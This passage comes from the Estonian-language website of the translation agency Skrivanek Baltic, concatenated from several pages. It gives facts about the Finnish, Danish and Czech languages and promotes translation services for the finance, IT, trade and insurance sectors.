vene-soome, soome-vene, poola-soome, soome-poola, tšehhi-soome, soome-tšehhi, ukraina-soome, soome-ukraina, saksa-soome, soome-saksa, prantsuse-soome, soome-prantsuse, hispaania-soome, soome-hispaania, itaalia-soome, soome-itaalia, taani-soome, soome-taani, rootsi-soome, norra-soome, soome-norra ja teistel. SOOME KEEL – FAKTID JA ARVUD Soome keel kuulub soome-ugri keelkonna läänemeresoome keelte rühma. See on Soome riigikeel ja üks Euroopa Liidu ametlikest keeltest. Soome keel on Rootsis vähemuskeel. Soome keele kõnelejaid on umbes 5,23 miljonit kogu maailmas: USAs, Eestis, Venemaal, Norras, Soomes ja Rootsis. Soome keel on suguluses eesti ja liivi keelega ja selle siseselt eristatakse kaht murderühma – lääne- ja idamurded –, mis omakorda jaotatakse seitsmeks alamrühmaks. Soome kirjakeel põhineb läänemurretel. Soome keele kujunemist mõjutas Soome ajalooline seisund. Kui praegune riigi territoorium oli osa Rootsi Kuningriigist (13. sajandist kuni 1809. aastani), domineerisid keeles tugevad rootsi keele mõjutused, kuid Vene impeeriumi valdusesse kuuludes toodi keelde hulganisti russitsisme. Pärast Soome rahvuslikku ärkamisaega, eelkõige 1820. ja 1840. aastate vahelisel perioodil, puhkes Soome kirjandus õitsele: avaldati esimene grammatikaõpik, pandi alus Soome Kirjanduse Seltsile ja koostati sõnaraamatuid. Soome keelest sai Soome riigikeel 1863. aastal, kuid veel 20. sajandi alguses kasutati laialdaselt ka rootsi keelt, näiteks tegid seda poodides kaupmehed. Varaseimad kirjalikud tõendid on leitud käsikirjade kujul, mis on tõenäoliselt pärit 13. sajandist. Esimene trükitud raamat, Mikael Agricola „Kirjutamise ABC“, avaldati Soomes 1543. aastal. Kuni 19. sajandi keskpaigani oli avaldatud kirjandus üldiselt religioosset laadi. Kõnekeel on Soomes laialdaselt kasutusel, kusjuures levinuim kõnevorm on Helsinki släng (stadin slangi). Huvitaval kombel ei kasuta slängi ainult noored, vaid see on populaarne ka eakamate inimeste seas. Slängi iseloomustab keele ökonoomsuse põhimõte – sõnad on lühendatud ja samu sõnu kasutatakse nii kõne- kui ka kirjakeeles. Kõnekeel on domineeriv keelevorm ja on kirjakeele üle võimust võtmas. Slängisõnu kasutavad isegi professorid oma loengutes. Kirjakeelt kasutatakse hariduse valdkonnas (näiteks ametlikes kõnedes), massimeedias ja valitsuse tasandil. Soome keel põhineb ladina tähestikul. Hääldus ja kirjapilt on üsna sarnased ning enamasti vastab ühele tähele üks ja kindel hääldus. Kõikidel vokaalidel on lühikesed ja pikad vormid. Ka kõik konsonandid, välja arvatud D, V ja J, võivad olla pikad. Pikki häälikuid väljendatakse kirjas kahekordse tähega. Põhirõhk on alati esimesel silbil. Sama põhimõtet rakendatakse ka kõigi võõrsõnade puhul. Lausetes kasutatakse tavaliselt langevat intonatsiooni, hääletooni ei tõsteta isegi küsilausete korral. Soome keeles on suurel hulgal vokaale ja diftonge, kusjuures viimaseid lausa kuusteist. Soome nimisõnu käänatakse arvukas 15 käändes, kuid samas ei omistata nimisõnadele mingit sugu. Puuduvad artiklid ja tegumoed. Soome keeles on vaid üks käändkond. Omastavat vormi väljendatakse omastava asesõna asemel hoopis omastava järelliite abil. Tegusõnadel on vaid üks pöördkond. Soome keele sõnavaras on palju balti, germaani ja slaavi keeltest pärit laensõnu. Isegi kui näib, et soomlased suhtuvad ettevaatlikult võõrsõnadesse ja loovad omaenda sõnu, et hoiduda keele rahvusvahelistumisest, sisaldab kaasaegne soome keel palju anglitsisme ja amerikanisme. Teadlaste arvates peitub selle põhjus noorema põlvkonna suures huvis Ameerika popkultuuri vastu. --- > Asjatundlikud tõlked taani keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - Published: 2022-05-16 - Modified: 2024-08-13 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-danu-valoda/ - Translation Priorities: Optional KÜSIGE HINNAPAKKUMIST / SAATKE OMA KÜSIMUS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada ISO sertifikaadiga tagatud kvaliteet ja konfidentsiaalsusMeie projektijuhid räägivad läti, vene, inglise, saksa ja poola keelt99% klientidest saab hinnapakkumise vähem kui 15 minuti jooksulEnam kui 3000 keelespetsialisti ja emakeelekõnelejatEnam kui 98% meie klientidest soovitaks meid oma sõpradele ja partneriteleMeie büroos tõlgitakse igal aastal üle 16 miljoni sõna TAANI KEELES SAAME TEILE ABIKS OLLA JÄRGNEVATE TEENUSTEGA: üldine ja erialane tõlge; notariaalselt kinnitatud tõlge; lokaliseerimine; neuromasintõlge; küljendamine (DTP – desktop publishing); teksti kohandamine ja tekstide koostamine; suuline tõlge; keeleõpe; lingvistiline auditeerimine; jne. SKRIVANEK BALTIC TÕLGIB JÄRGMISTEL KEELESUUNDADEL taani-inglise, inglise-taani, eesti-taani, eesti-taani, taani-eesti, leedu-taani, taani-leedu, vene-taani, taani-vene, poola-taani, taani-poola, tšehhi-taani, taani-tšehhi, ukraina-taani, taani-ukraina, saksa-taani, taani-saksa, prantsuse-taani, taani-prantsuse, hispaania-taani, taani-hispaania, itaalia-taani, taani-itaalia, rootsi-taani, taani-rootsi, norra-taani, taani-norra, soome-taani, taani-soome ja teistel. TAANI KEEL – FAKTID JA ARVUD Taani keel kuulub indoeuroopa keelkonna põhjagermaani keelte rühma. See on riigikeel Taanis ja Fääri saartel ning samuti on see Euroopa Liidu ja Põhjamaade Nõukogu ametlik keel. Kuni 2009. aastani oli taani keel ka Gröönimaa riigikeel. Taani keelt räägitakse vähemuskeelena ka Schleswig-Holsteini liidumaal Saksamaal. Samuti kõneldakse seda keelt Taani kogukondades USAs, Argentinas ja Kanadas. See on suguluses rootsi ja norra keelega. Nende keelte suurim erinevus on häälduses – näiteks kiputakse taani keeles välja jätma paljusid konsonante. Nagu ka teised Skandinaavias räägitavad keeled, on ka taani keel suuresti mõjutatud alamsaksa keelest – ligikaudu üks kolmandik taanikeelseid sõnu on laenatud alamsaksa keelest. Taani keelt kõneleb hinnanguliselt umbes 5,6 miljonit inimest. Fääri saartel, Gröönimaal ja Islandil õpetatakse taani keelt koolis kohustusliku ainena. Umbes 15–20% Gröönimaa rahvastikust räägib taani keelt. Taani keel arenes välja vanapõhja ehk vanaskandinaavia keelest, mille põhjal võib väita, et taanlased ja norrakad kõnelesid kuni 12. sajandini ühte keelt. Kuni 1814. aastani oli taani keel ka Norras ametlik keel. Varaseimad näited taani kirjakeelest on säilinud ruunikivide kujul, mis dateeruvad umbes 250. aastasse. Vanim käsikiri on pärit 13. sajandist: see on „Gesta Danorum“ („Taanlaste vägiteod“), milles jutustatakse esimestest Taani monarhidest. Esimene raamat trükiti 1495. aastal, samas kui piibel avaldati alles 1550. aastal. Taani tähestik koosneb 28 tähest. Lisaks ladina tähestiku tähtedele sisaldab see ka tähemärke Æ, Ø ja Å. Laias laastus 30 murret jaotatakse kolme peamisse rühma: saarte murrete rühm (ømål), Bornholmi rühm (bornholmsk) ja jüüti murrete rühm (jysk). Taani keeles eristatakse langevat, küsivat ja tõusvat intonatsiooni. Neid kasutatakse sõltuvalt kasutatavast murdest või kõneleja isiklikest eelistustest. Erinevalt läti keelest, kus tõusva intonatsiooniga viidatakse küsimusele, kasutavad taanlased seda hoopis meelepaha väljendamiseks. Taani nimisõnadel on kaks sugu: ühis- ja kesksugu. Enamik sõnu on ühissoost. Ühissugu tekkis ajalooliselt nais- ja meessoo ühtesulamisel. Taani keeles kasutatakse määravaid ja umbmääraseid artikleid. Ametitele või rahvustele viitavate nimisõnade ees artikleid ei kasutata. Nimisõnade käänamiseks kasutatakse vaid genitiivi; teised käänded moodustatakse eessõnakonstruktsioonide abil. Taanikeelseid omadussõnu ei käänata. Tegusõnadel puudub isik ja arv, kuid selle asemel on neil kolm peamist ajavormi: infinitiiv, lihtminevik ja mineviku kesksõna. Neid vorme kasutatakse ka kõigi teiste tegusõnavormide moodustamiseks, kasutades erinevaid lõppe või abitegusõnu. Huvitaval kombel alustavad taanlased numbrite ütlemisel ühelistest ja mitte tavapäraseks kujunenud kümnelistest. Taani keele süntaksi kohaselt peab lauses alati olema alus ja öeldis; erand tekib vaid juhtudel, kui tegusõna kasutatakse käskivas kõneviisis. Sõnajärg on lausetes rangelt kindlaks määratud. Ühes lauses on lubatud kasutada vaid ühte eitavat kõneliiki (negatiivi). --- > Asjatundlikud tõlked tšehhi keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - Published: 2022-05-16 - Modified: 2024-08-13 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-cehu-valoda/ - Translation Priorities: Optional KÜSIGE HINNAPAKKUMIST / SAATKE OMA KÜSIMUS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada ISO sertifikaadiga tagatud kvaliteet ja konfidentsiaalsusMeie projektijuhid räägivad läti, vene, inglise, saksa ja poola keelt99% klientidest saab hinnapakkumise vähem kui 15 minuti jooksulEnam kui 3000 keelespetsialisti ja emakeelekõnelejatEnam kui 98% meie klientidest soovitaks meid oma sõpradele ja partneriteleMeie büroos tõlgitakse igal aastal üle 16 miljoni sõna TŠEHHI KEELES SAAME TEILE ABIKS OLLA JÄRGNEVATE TEENUSTEGA: üldine ja erialane tõlge; notariaalselt kinnitatud tõlge; lokaliseerimine; neuromasintõlge; küljendamine (DTP – desktop publishing); teksti kohandamine ja tekstide koostamine; suuline tõlge; keeleõpe; lingvistiline auditeerimine; jne. SKRIVANEK BALTIC TÕLGIB JÄRGMISTEL KEELESUUNDADEL: tšehhi-eesti, eesti-tšehhi, inglise-tšehhi, tšehhi-inglise, leedu-tšehhi, tšehhi-leedu, vene-tšehhi, tšehhi-vene, poola-tšehhi, tšehhi-poola, ukraina-tšehhi, tšehhi-ukraina, saksa-tšehhi, tšehhi-saksa, prantsuse-tšehhi, tšehhi-prantsuse, hispaania-tšehhi, tšehhi-hispaania, itaalia-tšehhi, tšehhi-itaalia, taani-tšehhi, tšehhi-taani, rootsi-tšehhi, norra-tšehhi, tšehhi-norra, soome-tšehhi, tšehhi-soome ja teistel. TŠEHHI KEEL – FAKTID JA ARVUD Tšehhi keel kuulub indoeuroopa keelkonna slaavi keelte rühma ja seda kõnelevad rohkem kui 11,5 miljonit inimest üle kogu maailma. Tegemist on vanima slaavi keelega. Tšehhi keel on Tšehhi Vabariigi riigikeel, kuid seda räägitakse ka USAs, Austrias, Kanadas, Slovakkias ja Saksamaal. Tšehhi keel kuulub ka Euroopa Liidu 23 ametliku keele hulka. 96% Tšehhi Vabariigi rahvastikust räägib tšehhi keelt. Tšehhi keeles on kolm peamist järgmist murderühma: tšehhi, Kesk-Moraavia (hanaki) ja ljahhi, mis jaotatakse kolme alamrühma. Tšehhi keele siseselt räägitakse nelja murret: Boheemia, Tšehhi-Sileesia (räägitakse Lõuna-Poolas ja vahel loetakse ka tugevate tšehhi mõjutustega Poola murdeks), Moraavia ja Sileesia. Tšehhi keele juured ulatuvad umbes 10. sajandisse, kui see teiste slaavi keelte sarnaselt hakkas vanast slaavi algkeelset eralduma. Kuni 13. sajandini kasutasid tšehhid ladina tähestikku, seda mingil viisil muutmata. Siiski töötati hiljem tekstide mahu suurenemise tõttu välja olukorrale kohandatud kirjasüsteem, mis võimaldas inimestel väljendada täpsemalt tšehhi keelele omaseid häälikuid, mille sarnaseid ladina tähestikus ei leidu. Muudetud tähestikuni jõuti 15. sajandil. Mõne sajandi jooksul kasutati tšehhi häälikute tähistamiseks digraafe (kahe tähe ühendid sama hääliku tähistamiseks) ja diakriitiliste märkidega tähti. Diakriitilised märgid on tšehhi keeles siiani kasutusel, samas kui digraafidest on tänaseni säilinud vaid üks – ch. Tšehhi kirjakeel arenes välja 14. –16. sajandil Kesk-Tšehhi (ehk Praha) murde põhjal, kuid alles 18. sajandil puhkes see õide keelena, mida tunneme tänapäeval. Esimene tšehhikeelne raamat trükiti juba 1468. aastal, mis oli ühtlasi ka esimene slaavi keeles välja antud raamat. Esimene grammatikaõpik avaldati 1533. aastal. Pärast 17. sajandi reformatsiooniliikumise mahasurumist muutus ladina keel taas peamiseks keeleks tšehhi kirjakeeles. Tšehhikeelsed raamatud hävitati ja saladuskatte all avaldatud tekstid kirjutati käsikirjadena ümber. Ajaloolistel põhjustel on riigi keelekasutust reguleeriv Tšehhi Vabariigi seadusandlus üsna range – nii ametlik kui ka läbi massimeediakanalite edastatav teabevahetus peab olema ainult tšehhi keeles. Välismaalastele pakutakse kõigis suuremates linnades tõhusaid tšehhi keele õppimise programme vaid sümboolse tasu eest. Vaid mõned riiklikud ülikoolid ja eraldiasuvad teaduskonnad (loodus- ja tehnikateadused) pakuvad õpet inglise keeles. Tšehhi kirjakeel erineb suuresti igapäevaselt räägitavast kõnekeelest. Kirjakeel põhineb ladina tähestikul ja koosneb 42 tähemärgist, sealhulgas diakriitikuga tähtedest. Tšehhi keele hääldus on suures osas foneetiline – igale häälikule kõnes vastab kindel täht kirjas. Tähestik sisaldab järgmiseid tähti: A, Á, B, C, Č, D, Ď, E, É, Ě, F, G, H, Ch, I, Í, J, K, L, M, N, Ň, O, Ó, P, Q, R, Ř, S, Š, T, Ť, U, Ú, Ů, V, W, X, Y, Ý, Z, Ž. Kahekordne konsonant sõna keskel hääldub lühikesena, näiteks „Anna“ . Mõnede sõnade hääldamine on välismaalastele eriti keeruline, kuna need sisaldavad mahukaid konsonandikobaraid. Selles keeles on keeruline sõnade käänamis- ja pööramissüsteem, samas kui sõnajärg lauses on suhteliselt vaba. Nimisõnadel on sugu, arv ja kääne. Sõna võib olla kesk-, nais- või meessoost. Sõna on arvuliselt ainsuses või mitmuses. Nimisõnadel on seitse käänet: nominatiiv, genitiiv, daativ, akusatiiv, vokatiiv, lokatiiv ja instrumentaal. Mõned sõnad esinevad üksnes ainsuses ja mõned vaid mitmuses, samas kui teatud sõnad (enamasti paaris kehaosad) on siiani säilitanud oma vana mitmuse vormi. Tšehhi keeles eristatakse nn tugevaid ja nõrku nimisõnu. Tugevate nimisõnade hulka kuuluvad enamasti need, mille tüvi lõppeb tugeva konsonandiga, ning pehmeteks konsonantideks nimetatakse neid, mille tüve lõpus on pehme konsonant. Meessoost nimisõnu käänatakse teistest erinevalt: need jaotatakse elusolenditele ja elututele objektidele viitavateks sõnadeks. Laensõnad on tavaliselt mugandatud vastavalt tšehhi keele grammatikareeglitele. Omadussõnadel on kolm võrdlusvormi. Huvitaval kombel kasutatakse ülivõrret ka teatud kvaliteedi madalamale määrale osutamiseks. Tšehhi keeles on rõhk järjekindlalt sõna esimesel silbil. Iga mitmesilbilise sõna paaritule silbile omistatakse teisest rõhuasetust. On olemas ka mõned erandid, mida kunagi ei rõhutata – isikuliste asesõnade lühivormid ja abitegusõna „olema“ kõik vormid. Tšehhi ja slovaki keele kõnelejatel ei ole raskusi üksteisest arusaamisega, kuna need keeled on üksteisele väga sarnased. --- > Meil on üle 25 aasta kogemust aastaaruannete, investeerimis- ja turuaruannete, uuringute, lepingute, eeskirjade ja lubade tõlkimisel. Loe lähemalt! - Published: 2022-05-16 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-finansu-un-banku-nozarei/ - Translation Priorities: Optional Finantssektori asjatundjana vajate usaldusväärset koostööpartnerit, kes mõistab teie eriala olemust ja on võimeline pakkuma kvaliteetseid lahendusi. Skrivanek on juba üle 20 aasta pakkunud finantssektori valdkonnas kvaliteetseid tõlketeenuseid. Kui soovite lasta oma dokumente tõlkida või neile korrektuuri teha, tellida oma kohtumistele või konverentsidele suulist tõlki või vajate oma tekstide otsingumootorile optimeerimist (SEO-toimetamist) – Skrivaneki spetsialistid ei vea teid ühelgi juhul alt. Pangad, finants- ja krediidiasutused ning muud finantssektoris tegutsevad ettevõtted võivad usaldada Skrivaneki keelelahenduste kvaliteeti tänu meie suurepärasele valdkonnapõhise terminoloogia valdamisele ja juriidiliste nüansside mõistmisele. Vajaduse korral võime teie tekste kohandada ka kohalikele tingimustele vastavaks. Skrivanekiga koostööd tehes võite kindel olla, et suurepärase klienditeeninduse kaudu tuuakse teieni vaid läbiproovitud lahendused – meie keelespetsialistidel on finantssektoris aastatepikkune kogemus. Aitame teil aega ja vahendeid kokku hoida, kuna kasutame kõige innovatiivsemaid tõlke- ja tekstitöötluse tehnoloogiaid ning tagame kõrgeimal tasemel andmeturbe, kaitstes teie andmeid kolmandate osapoolteni jõudmise eest. Kõik tellimused kooskõlastatakse meie kogenud projektijuhtide poolt, kes mõistavad täielikult klientide vajadusi ja kes teie tõlkeprojekti perioodil saavad osaks teie meeskonnast. Tänu meie rahvusvahelisel tasandil töötamise kogemusele ning suurele tõlkijate ja tõlkide meeskonnale saame hakkama iga tööga, olenemata selle mahust või kiireloomulisest tähtajast. SKRIVANEK PAKUB FINANTSSEKTORI VALDKONNAS KÕIGIS LEVINUMATES EUROOPA KEELTES JÄRGMISI KEELELAHENDUSI: igat liiki digitaalsete ja trükivormingus turundusmaterjalide tõlkimine, sealhulgas müügidokumendid, stiilijuhendid, toodete teabelehed, e-posti põhised kampaaniad jne; investeerimis- ja turuaruannete, aastaaruannete, finantssektoris läbi viidud uuringute tõlkimine; erinevate lepingute, eeskirjade ja lubade tõlkimine; tarkvara kohandamine finantsteenuste pakkumiseks; sünkroon- või järeltõlge erinevateks üritusteks, sealhulgas konverentsid, ärilõunad või -õhtusöögid ning ärikohtumised; keeleõpe, sealhulgas erialase terminoloogia vallas; muud tõlketeenused vastavalt teie vajadustele. VÕTKE MEIEGA ÜHENDUST! KUULAME MEELELDI TEIE SOOVE JA TÖÖTAME VÄLJA JUST TEILE SOBIVA LAHENDUSE. Saada päring Kindlustus Ehitus Personalitöö ja inimressursid (HR) Finantssektor ja pangandus IT ja mängud Põllumajandus Õigus Metsandus Tehnoloogia- ja raudteesektor Meditsiin ja kliinilised uuringud Töötlev tööstus Reklaam ja turundus Kaubandus Turism Riigi- ja omavalitsusasutused USALDUSVÄÄRSUS. KVALITEET. KRKA, d. d. Skrivaneki meeskond on abivalmis ja vastutulelik. Meie päringutele, mis on seotud meditsiinitekstide tõlgetega, lähenetakse väga mõistvalt ka siis, kui on vaja tõlkida mitmest eri keelest korraga. Tellimused teostatakse, järgides kõrgeid kvaliteedistandardeid ja eetikanorme, ning kinni peetakse ka tähtaegadest.  Adidas Baltic Skrivaneki töötajad on väga abivalmid ning lähenevad mõistvalt meie tõlgete spetsiifikale, mis hõlmab Baltikumis räägitavaid keeli. Soovitame ka teistel firmadel kasutada Skrivaneki pakutavaid teenuseid.  Sandoz d. d. Soovitame Skrivanek Balticut kui usaldusväärset koostööpartnerit, kui on vaja tõlkida suuremahulisi projekte, mis nõuavad professionaalset lähenemist.  --- > Tarkvara ja arvutimängude lokaliseerimine, AdWords märksõnade tõlkimine, täpse terminoloogiaga infotehnoloogia tõlked. Loe lähemalt! - Published: 2022-05-16 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-it-un-spelu-nozarei/ - Translation Priorities: Optional Infotehnoloogiatööstuses kasutatakse väga spetsiifilist erialakeelt. IT-asjatundjatena olete kindlasti hästi kursis, kui oluline on kolleegidega suhtluses korrektse terminoloogia kasutamine ja lõppkasutajale teabe arusaadaval viisil edastamine. Skrivaneki keelespetsialistid on võimelised koostama kasutajasõbralikke tekste ja on seeläbi vahelülid IT-asjatundjate ja klientide vahel. Skrivanek pakub IT-firmadele ja mängude valdkonnas tegutsevatele ettevõtetele hoolikalt teostatud ja tehniliselt täpset kirjaliku ja suulise tõlke teenust ja on tähtaegade suhtes äärmiselt kohusetundlik. Meie meeskonda kuuluvad kogenud keelespetsialistid, kes tunnevad hästi IT-terminoloogiat ja tööstuse uusimaid arengusuundi ning suudavad valdkondlike toodete tehnilised kirjeldused ülima täpsusega klientideni tuua. Kui vajate kirjalikku tõlget, lokaliseerimisteenust, keeleõpet eksporditurgude laiendamiseks või soovite kasutada suulise tõlgi teenuseid ärikohtumistel, oleme Skrivanekis alati valmis teid aitama. Skrivaneki keelespetsialistide abil väljastame kvaliteetsed tõlketekstid kõigile teie dokumentidele, sealhulgas erinevad juhendid, tehnilised kirjeldused, ametlikud väljaanded, turundusmaterjalid ja muud tekstid. Meie spetsialistide teadmistepagas võimaldab meil teostada kõrgel tasemel tarkvara ja arvutimängude lokaliseerimist. Meie asjatundjad kasutavad tõlke- ja lokaliseerimisprotsessis erinevaid automaatprogramme, mis aitavad säilitada IT valdkonnas olulisi programmikoode ja käsklusi. SKRIVANEK PAKUB IT VALDKONNAS ENAM KUI 100 KEELEKOMBINATSIOONIS JÄRGMISI TÕLKETEENUSEID: tarkvara ja arvutimängude lokaliseerimine; viitamisteenuse AdWords märksõnade tõlkimine; kasutusjuhendite tõlkimine; ettevõtte materjalide ettevalmistamine; võrdlevate ülevaadete, artiklite ja pressiteadete tõlkimine; lepingute, eeskirjade ja lubade tõlkimine; sünkroon- või järeltõlge erinevateks üritusteks, sealhulgas seminarid, konverentsid ja ärikohtumised; erialane keeleõpe; muud tõlketeenused vastavalt teie vajadustele. VÕTKE MEIEGA ÜHENDUST! KUULAME MEELELDI TEIE SOOVE JA TÖÖTAME VÄLJA JUST TEILE SOBIVA LAHENDUSE. Saada päring Kindlustus Ehitus Personalitöö ja inimressursid (HR) Finantssektor ja pangandus IT ja mängud Põllumajandus Õigus Metsandus Tehnoloogia- ja raudteesektor Meditsiin ja kliinilised uuringud Töötlev tööstus Reklaam ja turundus Kaubandus Turism Riigi- ja omavalitsusasutused USALDUSVÄÄRSUS. KVALITEET. KRKA, d. d. Skrivaneki meeskond on abivalmis ja vastutulelik. Meie päringutele, mis on seotud meditsiinitekstide tõlgetega, lähenetakse väga mõistvalt ka siis, kui on vaja tõlkida mitmest eri keelest korraga. Tellimused teostatakse, järgides kõrgeid kvaliteedistandardeid ja eetikanorme, ning kinni peetakse ka tähtaegadest.  Adidas Baltic Skrivaneki töötajad on väga abivalmid ning lähenevad mõistvalt meie tõlgete spetsiifikale, mis hõlmab Baltikumis räägitavaid keeli. Soovitame ka teistel firmadel kasutada Skrivaneki pakutavaid teenuseid.  Sandoz d. d. Soovitame Skrivanek Balticut kui usaldusväärset koostööpartnerit, kui on vaja tõlkida suuremahulisi projekte, mis nõuavad professionaalset lähenemist.  --- > Kõige ilusam keel on emakeel! Tutvusta oma toodet või teenust klientidele üle kogu maailma nende emakeeles meie asjatundlike tõlgete abil. Loe lähemalt! - Published: 2022-05-16 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-tirdzniecibas-nozarei/ - Translation Priorities: Optional Kliendiga suheldes tuleb rääkida tema keelt. Kaubandussektori asjatundjatena olete kindlasti teadlik, et kiire suhtlus on üks eduka ettevõtluse eeltingimustest, seda eelkõige tänapäeval, kui tehinguid tehakse üleilmsel tasandil. Skrivaneki keelespetsialistid aitavad teil ellu viia suhtlust oma klientide ja partneritega kogu maailmast rohkem kui 110 keeles. Veelgi enam, tänu meie tänapäevasele ja tulemustele orienteeritud lähenemisviisile oleme suutelised aitama kaasa teie äritegevuse arengule. Skrivaneki meeskond hõlmab keelespetsialiste, kellel ei ole mitte üksnes suurepärane keeleoskus, vaid kes on ka hästi kursis kohalikku keelt emakeelena kõnelevate inimeste kultuurilise eripäraga. Lisaks tõlketeenuste osutamisele võime ka täiustada olemasolevaid tekste, vormindades ja kohandades need teie klientide kultuuriruumi, keskkonna ja turu konkreetsetele vajadustele vastavaks. Omame laiaulatuslikku kogemust lepingute, turundus- ja reklaammaterjalide, kataloogide, tootekirjelduste ja teiste valdkonnas asjakohaste tekstide tõlkimisel. Teeme koostööd eri liiki kaubandusettevõtetega – nii väikeste eraettevõtjate kui ka rahvusvaheliste kaubanduskettidega – ning võime seetõttu täie kindlusega väita, et oleme võimelised pakkuma teile just selliseid keelelahendusi, mida te vajate. Tähtaegade pärast ei ole vaja muret tunda – Skrivaneki keelespetsialistid ja projektijuhid kasutavad uusimaid programme, mis võimaldavad neil pakkuda kvaliteetseid keelelahendusi väikseima võimaliku ajakuluga. SKRIVANEK PAKUB KAUBANDUSVALDKONNAS KÕIGIS LEVINUMATES EUROOPA KEELTES JÄRGMISI TEENUSEID: kõikvõimalike turundus- ja reklaammaterjalide, sh tootekirjeldused, tõlkimine koos elektronkirjastamise lahendustega (DTP); eri liiki tehniliste dokumentide tõlkimine, sh kasutusjuhendid, hooldus- ja kasutusjuhised ning kataloogid; sünkroon- või järeltõlge erinevateks üritusteks, sealhulgas konverentsid, seminarid, kaubandusmessid ja ärikohtumised; erineva intensiivsusega keeleõpe kõigile keeleoskuse tasemetele; muud teenused vastavalt teie vajadustele. VÕTKE MEIEGA ÜHENDUST! KUULAME MEELELDI TEIE SOOVE JA TÖÖTAME VÄLJA JUST TEILE SOBIVA LAHENDUSE. Saada päring Kindlustus Ehitus Personalitöö ja inimressursid (HR) Finantssektor ja pangandus IT ja mängud Põllumajandus Õigus Metsandus Tehnoloogia- ja raudteesektor Meditsiin ja kliinilised uuringud Töötlev tööstus Reklaam ja turundus Kaubandus Turism Riigi- ja omavalitsusasutused USALDUSVÄÄRSUS. KVALITEET. KRKA, d. d. Skrivaneki meeskond on abivalmis ja vastutulelik. Meie päringutele, mis on seotud meditsiinitekstide tõlgetega, lähenetakse väga mõistvalt ka siis, kui on vaja tõlkida mitmest eri keelest korraga. Tellimused teostatakse, järgides kõrgeid kvaliteedistandardeid ja eetikanorme, ning kinni peetakse ka tähtaegadest.  Adidas Baltic Skrivaneki töötajad on väga abivalmid ning lähenevad mõistvalt meie tõlgete spetsiifikale, mis hõlmab Baltikumis räägitavaid keeli. Soovitame ka teistel firmadel kasutada Skrivaneki pakutavaid teenuseid.  Sandoz d. d. Soovitame Skrivanek Balticut kui usaldusväärset koostööpartnerit, kui on vaja tõlkida suuremahulisi projekte, mis nõuavad professionaalset lähenemist.  --- > Kindlustuslepingute, kindlustustingimuste, kindlustuspoliiside, nõuete, taotluste jm kindlustusdokumentide täpsed ja asjatundlikud tõlked. Loe lähemalt! - Published: 2022-05-16 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-apdrosinasanas-nozarei/ - Translation Priorities: Optional Kindlustussektori tegevus põhineb usaldusel ja selles valdkonnas saavutavad edu vaid tõelised professionaalid. Soovitud tulemuste saavutamiseks vajate partnerit, kes on hästi kursis valdkonna tavade ja terminoloogia ning samuti eri liiki kindlustusteenustega ja on seetõttu võimeline pakkuma just teile sobivaid lahendusi. Skrivaneki meeskonda kuuluvad asjaomases valdkonnas kogemust omavad tõlkijad ja tõlgid, kellel on laialdased teadmised eri liiki kindlustusteenustest: kinnisvara-, elu-, edasi-, ettevõtlus- ja sõidukikindlustus jne. Just seetõttu on meie lahendused parimad vastamaks teie vajadustele. Kas soovite oma dokumentidele kirjalikku tõlget, teksti korrektuuri või tahate hoopis tellida seminaridele ja konverentsidele suulise tõlke teenust – me ei vea teid ühelgi juhul alt. Meie spetsialistide kogemus tagab teie rahulolu kindlustusvaldkonnas tehtud tõlketöödega. Kasutame ettevõtetevahelisel teabevahetusel põhinevat lähenemisviisi ja nõuetekohast terminoloogiat, veendumaks, et meie tõlgitud tekstid ei ole üksnes täpsed, vaid aitavad kaasa ka teie ettevõtte kuvandi loomisele. Valides partneriks ettevõtte Skrivanek, võite olla kindel, et võtame tehtud töö eest vastutuse – olgu see siis juhul, kui olete meil palunud valmistada ette võõrkeelse müügidokumentide paketi, või juhul, kui meie ülesandeks on teostada tõlge keeruliste meditsiiniliste sekkumiste valdkonnas. Me mõistame kindlustussektori toimimise olemust, oleme hästi informeeritud ja teadlikud nüüdisaegsetest kindlustussuundumustest ning oleme alati valmis end valdkonnas edasi arendama. SKRIVANEK PAKUB KINDLUSTUSVALDKONNAS KÕIGIS LEVINUMATES EUROOPA KEELTES JÄRGMISI TEENUSEID: erinevate üldiste kindlustuslepingute tõlkimine; kindlustustingimuste tõlkimine; ettevõtte kollektiivkindlustuslepingute tõlkimine; pakkumuste ja äriplaanide 